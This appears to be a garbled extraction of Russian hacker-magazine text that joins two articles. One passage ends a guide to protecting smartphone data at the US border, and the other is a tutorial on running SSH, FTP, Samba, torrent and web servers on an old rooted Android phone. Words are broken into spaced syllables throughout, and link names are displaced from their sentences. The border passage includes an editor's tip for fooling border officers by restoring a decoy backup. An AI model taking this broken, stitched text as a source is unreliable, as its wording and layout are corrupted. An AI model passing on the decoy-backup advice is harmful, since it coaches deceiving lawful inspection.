Впро чем,  исто рия  бра узе ра  все  рав но  будет  хра нить ся  в  iCloud

как минимум две недели пос ле уда ления. Что бы окон чатель но «при бить хвос‐ 
ты»,  пот ребу ется  отклю чить  син хро низа цию  дан ных  с  обла ком  (ты  всег да
смо жешь  вновь ее под клю чить  пос ле  пересе чения  гра ницы). О  том,  как  это
сде лать, —  :в офи циаль ном KB

В обла ке могут хра нить ся и резер вные копии устрой ства. Одна ко механиз мы
дос тупа  к  облачным  дан ным  регули руют ся  уже  дру гими  законо датель ными
акта ми, и в момент пересе чения гра ницы дан ные из облачных бэкапов сей час
не  извле кают ся.  Успо коить  внут ренний  голос  и  вык лючить  облачные  резер‐ 
вные  копии  (а  так же  уда лить  уже  соз данные)  ты  можешь,  но  прак тичес кого
смыс ла в этом нем ного.

На конец, ты можешь пол ностью отклю чить iCloud. Впро чем, делать это мы
не  рекомен дуем —  как  минимум  с  вык лючени ем  iCloud  ты  теря ешь  защиту
от кра жи iCloud Lock и Find My Phone.

ЗАЩИЩАЕМ ANDROID
Как  ты  можешь  пом нить  из  боль шой  статьи,    в  прош лом
номере,  Android  мы  приз нали  наиме нее  безопас ной  из  рас простра нен ных
сис тем.  Соот ветс твен но,  если  у  тебя  смар тфон  на  Android,  для  его  защиты
тебе при дет ся серь езно порабо тать.

опуб ликован ной

Пер вое  и  самое  глав ное —  защита  от  физичес кого  извле чения  дан ных.
Пог ранич ник име ет пол ное пра во пот ребовать для дос мотра любой пред мет
из тво его багажа или лич ных вещей. Получив в руки смар тфон на Android, пог‐ 
ранич ники  могут  прос то  вос поль зовать ся  сер висным  режимом  (EDL,
режимы  9006/9008  для  Qualcomm,  LG  UP  для  смар тфо нов  LG  и  так  далее)
для дос тупа к информа ции. И зна ешь, что самое инте рес ное? В 85% слу чаев
это го  будет  впол не  дос таточ но:  сог ласно  пос ледним  дан ным,  все го  око‐ 
ло 15% устрой ств на Android исполь зует шиф рование раз дела дан ных.

Ес ли у тебя воз никла мысль, что на гра нице не най дет ся ква лифи циро ван‐ 
ного спе циалис та для извле чения информа ции из устрой ства, вынуж ден тебя
огор чить:  сов ремен ные решения  поз воля ют  про делать  все  даже  убор щице.
Ани миро ван ные инс трук ции с кар тинка ми, что и в какой пос ледова тель нос ти
нажимать  на  телефо не и  куда  вты кать шну рок,  появ ляют ся  пря мо на  экра не
компь юте ра. Впро чем, устрой ство у тебя мож но и кон фиско вать (пре цеден ты
были),  пос ле  чего  дан ные  извле кут  уже  в  спо кой ной  обста нов ке.  Мораль?
Вклю чи, наконец, шиф рование!

В  Android  дос тупны  мно гочис ленные  небезо пас ные  спо собы  раз бло‐ 
киров ки,  объ еди нен ные  общим  наз вани ем  Smart  Lock.  Если,  к  при меру,  ты
поль зуешь ся  фит нес‐тре кером  или  часами  и  нас тро ил  раз бло киров ку
при  наличии  соеди нения  Bluetooth  с  этим  устрой ством  —  даль ше  мож но
не читать. Так же нет никакой силы, которая мог ла бы помешать пог ранич нику
сфо тог рафиро вать  твое  лицо  (оче ред ной  камень  в  сто рону  Smart  Lock).
Во  мно гих  моделях  сом нения  вызыва ет  и  надеж ность  раз бло киров ки
с  помощью  дат чика  отпе чат ков  паль цев.  Вывод:  отклю чи  Smart  Lock  и  убе‐ 
дись,  что  раз бло киро вать  телефон мож но  толь ко  PIN‐кодом,  желатель но —
слож ным.

Ни ког да так не делай

В отли чие от  iOS, где в резер вную копию попада ет прак тичес ки все, но сам
бэкап мож но раз и нав сегда защитить паролем, в Android бэкапы соз дают ся
или  в  обла ке,  или  через ADB. В  резер вные  копии  попада ет  доволь но  огра‐ 
ничен ное  количес тво  дан ных;  зашиф ровать  их  при  этом  нель зя.  Впро чем,
мар керы  аутен тифика ции  (токены)  от  мно гих  популяр ных  мес сен дже ров
и соци аль ных сетей в бэкапы прек расно попада ют, так что этот момент необ‐ 
ходимо иметь в виду. Сам бэкап в Android соз дает ся пре дель но прос то: дос‐ 
таточ но раз бло киро вать телефон, вклю чить режим раз работ чика, под клю чить
телефон  к  компь юте ру  и  выдать  соот ветс тву ющую  коман ду.  Ско рее  все го,
если тебя убе дят раз бло киро вать телефон, будет про дела на имен но эта про‐ 
цеду ра.

Ес ли с тво его телефо на сни мут резер вную копию через ADB, в нее могут
попасть:

па роли от Wi‐Fi‐сетей, сис темные нас трой ки;•
фо тог рафии, видео и содер жимое внут ренней памяти;•
ус танов ленные при ложе ния (APK‐фай лы);•
дан ные  при ложе ний,  которые  под держи вают  резер вное  копиро вание
(вклю чая мар керы аутен тифика ции).

•

По мимо  про чего,  в  смар тфо нах  Android  царь  и  бог  —  ком пания  Google.
Google  собира ет  огромное  количес тво  дан ных,  которые  переда ются  пря мо
на  сер вер.  Если от  тебя  пот ребу ют  пре дос тавить  пароль от  учет ной  записи
и пог ранич нику в нее удас тся вой ти (к при меру, если у тебя до сих пор не нас‐ 
тро ена  двух фактор ная  аутен тифика ция),  сам  телефон  будет  уже  не  нужен:
в тво ей учет ке Google есть всё и даже нем ножко боль ше. Что с этим делать?
Уда лить  учет ную  запись  Google  с  телефо на  перед  посад кой  в  самолет
и залоги нить ся в све жесоз данную. К счастью,  в отли чие от  iPhone,  это дей‐ 
ствие не пот ребу ет от  тебя сбра сывать  телефон. Да, и не  забудь почис тить
дан ные  при ложе ний  —  как  минимум  кон такты,  фотог рафии,  Google  Maps
и дан ные бра узе ра Chrome. Хвос ты, ско рее все го, оста нут ся, но если устрой‐ 
ство не вызовет подоз рений, то более под робно го иссле дова ния может и не
быть.

А  что  делать  с  фотог рафи ями?  Если  тебе  необ ходим  в  поез дке  дос туп
к  тво ей  биб лиоте ке  фото  и  видео,  но  дер жать  их  в  самом  устрой стве  ты
не хочешь, то тебе сно ва дос тупны вари анты с обла ком (под сказ ка: при ложе‐ 
ние Dropbox мож но  с  телефо на  и  уда лить)  или  скры тым  вло жен ным  кон тей‐ 
нером на компь юте ре. В кон це кон цов, фотог рафии мож но хра нить и в Google
Photos  той  учет ной  записи,  которую  ты  собирал ся  уда лить  с  телефо на
перед поез дкой (толь ко имей в виду, по умол чанию туда попада ют умень шен‐ 
ные и «опти мизи рован ные» фай лы).

На конец, поль зовате лям с кас томным рекаве ри (TWRP) дос тупен вари ант
соз дания  зашиф рован ной  резер вной  копии  раз дела  дан ных,  который  так же
мож но  сох ранить  во  вло жен ном  кон тей нере  на  компь юте ре.  Его  пос леду‐ 
ющее вос ста нов ление — дело нес коль ких минут. Впро чем, и пересе кать гра‐ 
ницу  с  «голым»,  ненас тро енным  устрой ством —  пло хая  идея:  в  гла зах  пог‐ 
ранич ника ты будешь выг лядеть очень подоз ритель но.

Сло во редак тора
Как это ни стран но, смар тфон без акти виро ван ного шиф рования может силь‐ 
но облегчить пересе чение гра ницы. Все дело в том, что сов ремен ные смар‐ 
тфо ны, вышед шие с завода с Android 6.0+ на бор ту, обя заны шиф ровать дан‐ 
ные и  зачас тую  хра нят  ключ шиф рования в  хар двар ном модуле TEE  (Trusted
Execution  Environment).  С  одной  сто роны,  это  хорошо,  с  дру гой —  это  пре‐ 
пятс тву ет  воз можнос ти  сде лать/вос ста новить  пол ный  бэкап  сис темы
с помощью TWRP.

А  вот  если  шиф рование  отклю чено  и  воз можность  сде лать  бэкап  есть,
у тебя появ ляет ся воз можность очень лов ко обвести дос матри вающих вок руг
паль ца.  Суть  метода:  ты  уста нав лива ешь  на  смар тфон  кас томный  рекаве ри
TWRP (о том, как это сде лать, мы писали не раз и не два), перезаг ружа ешь ся
в него, дела ешь nandroid‐бэкап раз делов  system и data  (они содер жат саму
ОС и твои дан ные/при ложе ния соот ветс твен но), извле каешь бэкап со смар‐ 
тфо на (он хра нит ся в катало ге TWRP на кар те памяти) и сох раня ешь его, ну,
нап ример, в Dropbox. Затем ты сбра сыва ешь смар тфон до завод ских нас тро‐ 
ек, при вязы ваешь его к левому акка унту, уста нав лива ешь нес коль ко при ложе‐ 
ний, вво дишь нес коль ко неваж ных паролей в бра узер — в общем, соз даешь
видимость  активно  исполь зуемо го  устрой ства.  А  затем  вновь  перезаг ружа‐ 
ешь ся в TWRP, и опять дела ешь бэкап, и вновь сох раня ешь его в обла ко.

В  резуль тате  у  тебя  получит ся  два  бэкапа:  в  одном будет  твоя  основная
сис тема, во вто ром — потем кин ская. Все, что тебе оста нет ся сде лать, — вос‐ 
ста новить вто рой, под став ной бэкап перед поез дкой, прой ти через гра ницу,
а  затем  вос ста новить  основной.  При  этом  все  твои  нас трой ки,  софт  и  все
осталь ное  вплоть  до  рас положе ния  ико нок  на  рабочем  сто ле  сох ранит ся
в пер воздан ном виде.

ЮРИДИЧЕСКИЕ МЕТОДЫ ПРОТИВОДЕЙСТВИЯ
На  сегод няшний  день  офи цер‐пог ранич ник  име ет  пра во  поп росить  соис‐ 
кателя на въезд в США раз бло киро вать устрой ство и передать его для ана‐ 
лиза.  В  некото рых  слу чаях  (обос нован ные  подоз рения,  попада ние  в  спи сок
потен циаль но  опас ных  или  нежела тель ных  лиц)  офи цер  име ет  пра во  пот‐ 
ребовать  раз бло киро вать  устрой ство.  Раз ницу  меж ду  «прось бой»  и  «тре‐ 
бова нием»  непод готов ленно му,  уставше му  от  дли тель ного  переле та  и,  воз‐ 
можно, спе шаще му на пересад ку пас сажиру уло вить труд но, но тем не менее
она  есть.  Про игно риро вать  при каз  не  получит ся,  пос ледс твия  могут  быть
очень неп рият ными. А вот прось бу  (request) мож но веж ливо откло нить; если
получит ся  аргу мен тировать  отказ —  тем  луч ше.  Да,  тебя  могут  не  впус тить
в  стра ну,  и  да,  тебя могут  задер жать  на  неоп ределен ное  вре мя,  но  с  точ ки
зре ния аме рикан ско го закона ты пока не совер шил прес тупле ния.

ЗАКЛЮЧЕНИЕ
Смар тфон —  пер сональ ное  устрой ство,  которое  всег да  с  нами.  Смар тфон
зна ет о нас даже то, что мы можем не знать о себе сами. Пус кать туда пос‐ 
торон них — хороший шанс получить дли тель ную  голов ную боль,  зарабо тать
обос тре ние  паранойи  или  осложне ния  с  законом. Мы  искрен не  верим,  что
пра во  на  час тную  жизнь  дол жно  оста вать ся  неп рикос новен ным  и  может
нарушать ся  в  исклю читель ных  слу чаях  и  толь ко  по  решению  суда.  Деловую
или  турис тичес кую  поез дку  за  гра ницу  мы  таким  исклю читель ным  слу чаем
не  счи таем.  Защищать  при ват ность  час тной  жиз ни  закон ными  метода ми —
твое  пол ное  и  неотъ емле мое  пра во,  но  реали зовы вать  его  за  тебя  ник то
не  будет.  Если  не  хочешь,  что бы  в  твою  лич ную  жизнь  лез ли  пос торон ние,
тебе  при дет ся  сори енти ровать ся  в  законах  и  вос поль зовать ся  дос тупны ми
легаль ными метода ми защиты от втор жения.

При этом нуж но понимать, что на сто роне пог ранич ников если не пра во, то
воз можность интер пре тации закона в свою поль зу,  гру бая физичес кая сила
и методы при нуж дения, которы ми они не стес няют ся поль зовать ся. При мене‐ 
ние методов  при нуж дения  год  от  года  толь ко  рас тет.  С  точ ки  зре ния  собс‐ 
твен ной  безопас ности  воз ражать  пог ранич никам  не  сто ит.  Не  сто ит  лгать,
хит рить и изво рачи вать ся: все это при ведет к допол нитель ным осложне ниям
и  без  того  острой  ситу ации.  Гораз до  эффектив нее  будет  вос поль зовать ся
ком плек сом тех ничес ких методов защиты, которые мы опи сали в этой статье.
Пом ни: нель зя извлечь из смар тфо на то, чего на нем физичес ки нет, а любой
пароль от тебя мож но получить, было бы желание.
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Пред ста вим  такую  ситу ацию:  у  тебя  есть  ста рень кий  смар‐ 
тфон  на  Android.  Свою  основную  фун кцию  он  уже  дав но
потерял — раз бит экран, или сдох модуль мобиль ной свя зи,
или  же  смар тфон  баналь но  уста рел.  Осо бого  смыс ла  про‐ 
давать  его  за  три  копей ки  нет,  а  вот  повесить  на  «веч ную
заряд ку» и под нять сер вер впол не мож но. При чем для это го
даже  не  при дет ся  запус кать  на  смар тфо не  Linux  или  что‐то
ком пилиро вать. Все необ ходимое есть в Google Play.

INFO

Опи сан ные  шаги  про изво дились  на  смар тфо не
воз растом пять лет с Android 4.4. Если твой смар‐ 
тфон  еще  стар ше —  будь  готов  к  тому,  что  гайд
для  него  не  подой дет  (нап ример,  из‐за  отсутс‐ 
твия  под дер жки  LineageOS  или  исполь зован ных
в статье ути лит). Да, жизнь жес тока.

ПОДГОТОВКА
Для начала выпол ним нес коль ко под готови тель ных шагов.

Чис тим смар тфон
Пер вое,  что  нам  необ ходимо  сде лать,  —  это  очис тить  аппа рат  от  мусора.
Уда ляем все фай лы с кар ты памяти (внут ренней и съем ной), а затем дела ем
сброс  до  завод ских  нас тро ек  (Нас трой ки  →  Вос ста нов ление  и  сброс  →
Сброс  нас тро ек).  Это  нуж но,  что бы  изба вить ся  от  уста нов ленных  при ложе‐ 
ний, которые тоже могут висеть в памяти и жрать опе ратив ку.

Так же  нас тоятель но  рекомен дую  уста новить  на  смар тфон  ,
а поверх нее пакет  . Так ты получишь смар тфон с дос тупом к мар‐ 
кету,  но без огромно го  количес тва бло ата,  который  так  любят  пре дус танав‐ 
ливать про изво дите ли и Google.

LineageOS
gapps‐pico

Пос ле  регис тра ции  в  Google  сра зу  отклю чи  все  виды  син хро низа ции,
перей дя  в  «Нас трой ки →  Акка унты →  Google».  На  сер вере  от  этой  син хро‐ 
низа ции  никако го  про ка,  она  будет  толь ко  мешать.  Фун кции  про буж дения
при получе нии уве дом ления и always on display, а так же све тоди одный инди‐ 
катор тоже не нуж ны. Перей ди в «Нас трой ки → При ложе ния» и отклю чи весь
софт, который воз можно отклю чить. Email, бра узер, служ бы Exchange — все
это нам не нуж но.

В  резуль тате  у  тебя  ока жет ся  сис тема,  которая  по миниму му  исполь зует
опе ратив ку и  не дер жит  в  памяти ненуж ные при ложе ния и  служ бы, —  голый
и уре зан ный со всех сто рон смар тфон. Нелиш ним будет получить пра ва root.
Боль шинс тво опи сан ных в статье сер веров их не тре буют, но они понадо бят‐ 
ся, если ты захочешь иметь нор маль ную коман дную стро ку с набором ути лит
Linux и пол ный кон троль над сер вером.

SSH и BusyBox
Android пос тро ен на ядре Linux,  что для нас боль шой плюс: Linux прек расно
опти мизи рован  для  сер веров.  Одна ко  вся  осталь ная  часть  сис темы  силь но
отли чает ся  от  типич ных  дис три бути вов  Linux.  Здесь  нет мно гих  стан дар тных
для Linux  команд,  к Android  нель зя под клю чить ся по SSH,  сис темы  кон тро ля
сетевых служб тоже как бы нет (есть мес тный init, но это вещь в себе).

Что бы  это  испра вить,  уста новим  BusyBox  и  SSH‐сер вер.  Пер вый  пред‐ 
став ляет  собой  минима лис тичный  ком плект  стан дар тных  ути лит  коман дной
стро ки Linux, вто рой понят но что. Для уста нов ки BusyBox вос поль зуем ся при‐ 
ложе нием  . Все пре дель но прос то:  запус каем при ложе ние,
кли каем нес коль ко кно пок, сог лаша емся пре дос тавить пра ва root — готово.

BusyBox On Rails

На  роль  SSH‐сер вера  отлично  подой дет  .  Внут ри  это  SSH‐
сер вер  Dropbear  для  встра иваемых  устрой ств,  снаб женный  гра фичес ким
интерфей сом. Уста нав лива ем, запус каем, перехо дим в нас трой ки, отме чаем
галоч кой опцию Start on Boot, воз вра щаем ся назад и нажима ем кноп ку Start.

SimpleSSHD

SimpleSSHD выведет на экран IP‐адрес, порт по умол чанию 2222. Под клю‐ 
чить ся к нему из Linux мож но так:

$ ssh IP‐адрес ‐p 2222

При  под клю чении  на  экра не  смар тфо на  появит ся  одно разо вый  пароль,
который  сле дует  ука зать  в  приг лашении  кли ента.  Это  очень  безопас ный,
но не очень  удоб ный спо соб аутен тифика ции,  поэто му рекомен дую исполь‐ 
зовать аутен тифика цию по  клю чам. Прос то пере име нуй свой откры тый ключ
( ) в   и положи в каталог ssh на кар те памяти.id_rsa.pub authorized_keys

Сра зу  пос ле  под клю чения  к  сер веру  выпол ни  коман ду  ,  что бы  Simple‐
SSHD зап росил пра ва root на смар тфо не. Под твер ди пра ва и не забудь пос‐ 
тавить  галоч ку  «Боль ше  не  спра шивать»  (в  LineageOS)  или  сни ми  галоч ку
«Спро сить  сно ва»  (SuperSU).  Это  нуж но,  что бы  в  будущем  ты  мог  в  любой
момент получить root без вся ких зап росов со сто роны Android.

su

Bash, nano, tmux, mc
BusyBox  содер жит  толь ко  базовый  набор  ути лит  коман дной  стро ки,  мно гие
из которых к тому же име ют силь но уре зан ную фун кци ональ ность. В BusyBox
нет  ни  bash,  ни  вме няемых  кон соль ных  редак торов  (Vi  в  рас чет  не  берем,
это не Vim), ни mc и tmux, без которых мно гие адми ны не пред став ляют себе
жиз ни.

Ес ли  тебе  все  это  нуж но,  при дет ся  уста новить  ути литы  самос тоятель но.
Пра виль ный спо соб это сде лать — ска чать ком пилятор Linaro, исходни ки ути‐ 
лит  и  соб рать  их  самому.  Быс трый  спо соб —  выд рать  из  уже  име юще гося
при ложе ния, нап ример из Terminal IDE.

Ска чива ем  ,  пере име новы ваем  пакет  APK  в  ZIP,  рас паковы‐ 
ваем,  находим  файл  ,  пере име новы ваем,
уби рая  рас ширение mp3,  и  вновь  рас паковы ваем.  Внут ри  будет  мно жес тво
катало гов и фай лов, из которых нас инте ресу ют толь ко   и 

.  Пер вый  содер жит  нуж ные  нам  ути литы;  прос то  ско пируй  те,
что тебе при годят ся, в отдель ный каталог. Вто рой необ ходим для их кор рек‐ 
тно го фун кци они рова ния.

Terminal  IDE
assets/system‐2.0.tar.gz.mp3

system/bin system/
etc/terminfo

Выб ранные  ути литы и  каталог  terminfo скинь на  кар ту памяти смар тфо на.
Затем  под клю чись  к  нему  по  SSH  и  вве ди  сле дующие  коман ды,  что бы
получить воз можность модифи кации сис темно го катало га:

$ su
# mount ‐o remount,rw /system

Да лее ско пируй все нуж ные ути литы в   и уста нови на них бит
исполне ния (на при мере bash):

/system/xbin/

# cp bash /system/xbin/
# chmod 755 /system/xbin/bash

За тем соз дай файл  , помес ти в него сле дующие стро‐ 
ки:

/sdcard/ssh/.bashrc

export TERMINFO=/sdcard/terminfo
export TMPDIR=/data/local/tmp
export PS1="u@h:w $ "

От крой  нас трой ки  SimpleSSHD  на  смар тфо не  и  в  опции  Login  Shell  ука жи 
, оста нови и вновь запус ти сер вер. При сле дующем вхо де

по SSH откро ется bash и будут дос тупны ско пиро ван ные тобой ути литы.

/
system/xbin/bash

Что бы  добить ся  кор рек тной  работы  Vim  и mc,  ско пируй  на  кар ту  памяти
так же  катало ги    и  ,  а  в  файл    добавь
стро ки

etc/mc etc/vim /sdcard/ssh/.bashrc

export MC_DATADIR=/sdcard/mc
export VIMRUNTIME=/sdcard/vim

WARNING

Ес ли  сра зу  пос ле  логина  вмес то  име ни  поль‐ 
зовате ля и хос та ты видишь  , запус‐ 
ти bash пов торно. Такая ошиб ка воз ника ет из‐за
проб лем  с  авто мати чес ким  опре деле нием
домаш него катало га.

‐bash‐4.2$

От клю чаем энер госбе реже ние
Как и любая дру гая мобиль ная ОС, Android все ми силами ста рает ся сбе речь
энер гию.  Поэто му  сра зу  пос ле  отклю чения  экра на  он  как  мож но  ско рее
перево дит смар тфон в режим suspend, при котором прек раща ется/сни жает‐ 
ся подача питания не толь ко на экран, но и на сам про цес сор (ана лог suspend
to ram в ком пах).

Нам  такое  поведе ние  будет  толь ко  мешать,  поэто му  его  сле дует  отклю‐ 
чить. Для это го акти виру ем так называ емый wakelock, который зас тавит сис‐ 
тему не перехо дить в режим suspend:

$ su
# echo mylock > /sys/power/wake_lock

Wakelock будет оста вать ся активным, пока жива сис тема, но пос ле перезаг‐ 
рузки  его  при дет ся  акти виро вать  сно ва.  В  про шив ках,  осно ван ных  на  Lin‐
eageOS/CyanogenMod,  это  мож но  авто мати зиро вать.  Соз дай  файл  со  сле‐ 
дующим содер жимым:

#!/system/bin/sh
echo mylock > /sys/power/wake_lock

И ско пируй его в каталог  ./system/etc/init.d

Под клю чаем файл под качки
На вер няка твой ста рый смар тфон осна щен сов сем неболь шим количес твом
опе ратив ной  памяти  (512 Мбайт  или  1  Гбайт).  А  это  зна чит,  что  мно жес тво
запущен ных  сер веров  впол не  могут  ее  исчерпать,  пос ле  чего  будут  уби ты
сис темой lowmemorykiller. Что бы избе жать это го, опе ратив ку мож но вир туаль‐ 
но рас ширить, под клю чив файл под качки.

Сде лать это мож но руками. Нап ример, сле дующий набор команд соз дает
и под клю чает файл под качки раз мером 1 Гбайт:

$ su
# dd if=/dev/zero of=/sdcard/swap bs=1M count=1024
# mkswap /sdcard/swap
# swapon /sdcard/swap

Мож но исполь зовать и одно из дос тупных в мар кете при ложе ний, дела ющих
то же самое. Нап ример,  . И в  том и в дру гом слу чае файл под качки
при дет ся перепод клю чать пос ле перезаг рузки — либо с помощью при ложе‐ 
ния, либо такой коман дой:

Swapper

# swapon /sdcard/swap

Опять же в  LineageOS/CyanogenMod  коман ду   мож но
помес тить в один из фай лов катало га 

swapon /sdcard/swap
/system/etc/init.d/

ВАРИАНТЫ ИСПОЛЬЗОВАНИЯ
Фак тичес ки  сер вер  у  нас  уже  есть.  Пока  он  бес полез ный  и,  кро ме  запус ка
прос тых команд, ничего не уме ет. Сле дующий шаг — наделить его смыс лом
сущес тво вания. Здесь есть как минимум два вари анта:
1. Мож но вот кнуть в устрой ство дос таточ но емкую кар ту памяти, под клю чить
флеш ку на мно го гигабайт или даже жес ткий диск через кабель OTG (если
смар тфон  под держи вает  такую фун кцию)  и  прев ратить  смар тфон  в фай‐ 
лопомой ку или DLNA‐сер вер, который смо жет раз давать видео на дру гие
устрой ства или умный телеви зор.

2. За пус тить  тор рент‐качал ку  с  интерфей сом  уда лен ного  управле ния.
Это отличное допол нение к пре дыду щему методу.

3. Под нять баналь ный веб‐сер вер с PHP и MySQL и захос тить на нем свою
домаш нюю стра нич ку.

Ва риан ты  на  этом  не  исчерпы вают ся  (на  самом  деле  мож но  под нять  даже
DNS‐ или SMTP‐сер вер, инс тру мен ты для это го есть), но эти самые популяр‐ 
ные, поэто му оста новим ся на них.

WARNING

OTG‐кабель  для  дан ной  задачи  сле дует  брать
с  допол нитель ным  питани ем,  что бы  смар тфон
мог  одновре мен но  заряжать ся  и  общать ся
с флеш кой или жес тким дис ком по USB.

Фай лох ранили ще
На ибо лее  рас простра нен ные  на  сегод ня методы  раз дачи фай лов  в  локаль‐ 
ной сети — это SMB (рас шарен ные пап ки Windows) и FTP. Нем ного в сто роне
сто ит DLNA. Это осо бый про токол, он поз воля ет всем находя щим ся в локаль‐ 
ной  сети  муль тимеди апро игры вате лям  авто мати чес ки  находить  и  про игры‐ 
вать меди афай лы из тво ей фай лопомой ки.

FTP
Нач нем  с  FTP,  при митив ней шего  из  при митив ных.  Глав ные  дос тоинс тва
FTP —  рас простра нен ность  и  прос тота.  Если  твой  сер вер  будет  раз давать
фай лы по FTP, к ним смо жет получить дос туп бук валь но что угод но, от бра узе‐ 
ра до тупого фай лового менед жера в смар тфо не.

FTP‐сер веров  в  Play  Store  море,  но  луч ше  оста новить ся  на  чем‐то  пос‐ 
вежее, дабы не обна ружить, что при ложе ние отка зыва ется работать в новых
вер сиях Android.   хорошо подой дет для нашей задачи, к тому же
это не толь ко FTP‐, но и SFTP‐сер вер. Уста нав лива ем, перехо дим в нас трой‐ 
ки,  в  опции  User  ука зыва ем  имя,  в  Password —  пароль,  при  необ ходимос ти
акти виру ем  воз можность  под клю чения  кому  угод но  (Anonymous  Login).
Не забыва ем вклю чить запуск при заг рузке (Start on boot).

Primitive FTPd

По  умол чанию  пор ты  для  под клю чения:  12345  для  FTP  и  1234  для  SFTP.
Дефол товый кор невой каталог — кар та памяти.

Primitive FTPd и его нас трой ки

SMB
Для  раз дачи  фай лов  по  SMB  понадо бят ся  пра ва  root  и  при ложе ние 

.  Запус каем,  перехо дим  в  нас трой ки,  вво дим  пароль,
имя  поль зовате ля,  воз вра щаем ся  на  глав ный  экран  и  нажима ем  боль шую
над пись  Samba.  Это  все.  Устрой ство  дол жно  авто мати чес ки  появить ся
в локаль ной сети Windows по адре су   (мож но поменять в нас трой ках).

Samba
Filesharing  for  Android

ANDROID

Глав ный экран и нас трой ки Samba Filesharing

DLNA
Луч шее при ложе ние как для прос мотра,  так и для раз дачи видео по локаль‐ 
ной  сети  с  помощью  UPnP/DLNA  —  это  .  Одна ко  надо  иметь
в  виду,  что  это  плат ное  при ложе ние  сто имостью  140  руб лей.  Но  фун кци‐ 
ональ ность сер вера мож но про тес тировать и в бес плат ной вер сии, дли тель‐ 
ность вос про изве дения в этом слу чае будет огра ниче на трид цатью минута ми.

BubbleUPnP

Дос таточ но ска чать и запус тить при ложе ние, что бы оно сра зу начало раз‐ 
давать  кон тент. Прос матри вать и прос лушивать его мож но на дру гом смар‐ 
тфо не  (с  помощью  ),  умном  телеви зоре  или  ком пе
(через VLC).

AirPlay/DLNA  Receiver

Еще одно при ложе ние для раз дачи —  , одна ко далеко не на всех
смар тфо нах оно работа ет кор рек тно.

AirPinCast

BubbleUPnP и AirPinCast

WARNING

Android 6.0 и выше при меня ет режим энер госбе‐ 
реже ния Doze к при ложе ниям во вре мя «прос тоя»
смар тфо на. Одна из фун кций Doze — отклю чение
дос тупа к Сети. Что бы он не делал это го с уста‐ 
нов ленны ми сер верами, сра зу добавь их в спи сок
исклю чения  в  меню  «Нас трой ки →  Батарея →
Меню →  Эко номия  заряда батареи →  Все  при‐ 
ложе ния».

Тор рент‑качал ка
Фай лопомой ку необ ходимо чем‐то запол нять, поэто му нам понадо бит ся тор‐ 
рент‐кли ент.  Луч ший  кли ент  для  Android  по  всем  мыс лимым  и  немыс лимым
парамет рам  —  это  ,  пол нофун кци ональ ный  тор рент‐кли ент,  снаб‐ 
женный, что важ но, веб‐интерфей сом.

tTorrent

Ус танав лива ем,  запус каем,  сра зу  перехо дим  в  нас трой ки,  Web  Interface.
Вклю чаем  одно имен ный  перек лючатель.  Интерфейс  появит ся  на  стра нице

. Тор рент‐фай лы на закач ку мож но кидать пря мо с ком па.
Более  того,  тор рент‐кли ентом  мож но  управлять  с  дру гого  смар тфо на
с помощью  .

http://IP‐адрес:1080

Transdroid

Веб‐интерфейс tTorrent

Nginx, PHP, MySQL
Боль шинс тво людей при сло ве «сер вер» пред став ляют себе имен но веб‐сер‐ 
вер.  Запус кать  веб‐сер вер  на  смар тфо не  осо бого  смыс ла  нет,  раз ве  что
для того, что бы написать «Работа ет на моем ста ром смар тфо не» вни зу стра‐ 
ницы. Тем не менее мы рас смот рим и этот вари ант.

Для Android сущес тву ет нес коль ко при ложе ний, реали зующих веб‐сер вер.
Самые инте рес ные и в пер спек тиве полез ные:

  —  прос той  бес плат ный  веб‐сер вер  с  панелью  управле ния
и опци ональ ной под дер жкой PHP (уста нав лива ется отдель но);

• PAW  Server

 —  ком байн,  вклю чающий  в  себя  lighttpd,  PHP, MySQL,  (S)FTP‐
сер вер,  SSH,  phpMyAdmin,  phpSysInfo  и  phpFileManager,  а  так же  кли ент
для динами чес кого обновле ния домен ного име ни no‐ip и дру гих сер висов
динами чес ких домен ных имен. Проб ная вер сия работа ет шесть дней, пол‐ 
ная обой дет ся в два с полови ной дол лара;

• Ulti  Server

  —  еще  один  ком байн  на  базе  nginx  1.5.0,  PHP  5.4.13,  MySQL
5.1.62 и msmtp 1.4.30. Плюс phpFileManager и phpMyAdmin. Сто ит два дол‐ 
лара, проб ная вер сия дол жна работать десять дней, а по фак ту  ты сра зу
получа ешь сооб щение, что срок три ала истек.

• NAMP

Ос тановим ся на Ulti Server. Уста нав лива ем, запус каем, сра зу идем в Settings,
отме чаем Enable Logging to file, выбира ем каталог (по умол чанию SD‐кар та),
там  же мож но  ука зать  email  для  отправ ки  логов.  Воз вра щаем ся  на  глав ный
экран,  перехо дим  в  раз дел  Simple  и  выбира ем  в  выпада ющем  спис ке  PHP
and Lighttpd Server. Сер вер будет запущен на пор те 8080 или 80, если ты пре‐ 
дос тавишь пра ва root.

Вы бира ем сер вер и получа ем информа цию о нем

По умол чанию в качес тве кор невого катало га сер вер исполь зует кар ту памяти
(с пол ным дос тупом к фай лам), а по адре сам phpsysinfo и phpfilemanager раз‐ 
меща ет инс тру мен ты управле ния.

phpSysInfo

Ни каких  нас тро ек,  что бы  прек ратить  такое  безоб разие,  нет,  но  ты  можешь
нас тро ить все руками, так же как в любой UNIX‐сис теме. Прос то под клю чись
по SSH, получи пра ва  root  с  помощью    и  перей ди  в  каталог 

.  Там  ты  най дешь  катало ги  всех  ранее
запущен ных  сер висов,  в  том  чис ле  lighttpd,  в  нем  находят ся  бинар ник  сер‐ 
вера, логи и кон фиги, пос ле запус ка MySQL такой же каталог появит ся и для
него. Вне си прав ки и переза пус ти сер вер в раз деле Servers в Ulti Server.

su /data/data/
com.icecoldapps.ultiserver/

Ре дак тиру ем lighttpd.conf через mc

Почему не уста новить Linux?
Ты можешь спро сить, не про ще ли и пра виль нее раз вернуть нас тоящий Linux
в chroot, а уже в нем запус кать необ ходимые служ бы. На самом деле не про‐ 
ще и не пра виль нее. Запущен ное в chroot окру жение Linux силь но отли чает ся
от нас тояще го дис три бути ва. В нем нет инс тру мен тов для кор рек тно го запус‐ 
ка  и  оста нов ки  сис темы  вмес те  со  все ми  необ ходимы ми  служ бами,  оно
не  уме ет  реаги ровать  на  про исхо дящие  в  Android  события  и  переза пус кать
упав шие служ бы.

Ес ли  тот  же  SimpleSSHD  спо кой но  запус тится  пос ле  перезаг рузки  сис‐ 
темы  бла года ря  механиз му  авто запус ка  Android  и  будет  переза пущен
при воз никно вении проб лем, то в слу чае с chroot тебе при дет ся при думы вать
кос тыли. А  что,  если  точ ка дос тупа  вдруг отка жет и  смар тфон перек лючит ся
на  мобиль ную  сеть?  Android  и  при ложе ния  для  него  уме ют  обра баты вать
такие ситу ации, окру жение Linux в chroot — нет.

ВЫВОДЫ
